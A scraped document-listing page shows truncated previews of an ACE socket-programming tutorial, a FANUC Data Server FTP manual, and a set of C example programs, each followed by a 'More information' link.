ACE ACE Socket Allen Long [email protected] http://www.huihoo.com huihoo - Enterprise Open Source 内容安排 如何访问 OS 服务 TCP/IP Socket 编程接口 使用 ACE 的 UDP 类进行网络编程 单播 广播 多播 Socket Interface 3 Socket API 概述 (1/2) Sockets

More information

Data Server_new_.doc

Data Server_new_.doc 0i B/C Data Server Windows 2000 Window XP Windows XP FTP FANUC Data Server FTP liwei@beijing-fanuc 1 06-10-8 Content 1. /...3 1.1...3 1.2...3 1.3 CNC...3 2....5 2.1 STORAGE...5 2.2 FTP...6 2.3 BUFFER...7

More information

untitled

untitled 1 DBF (READDBF.C)... 1 2 (filetest.c)...2 3 (mousetes.c)...3 4 (painttes.c)...5 5 (dirtest.c)...9 6 (list.c)...9 1 dbf (readdbf.c) /* dbf */ #include int rf,k,reclen,addr,*p1; long brec,erec,i,j,recnum,*p2;

More information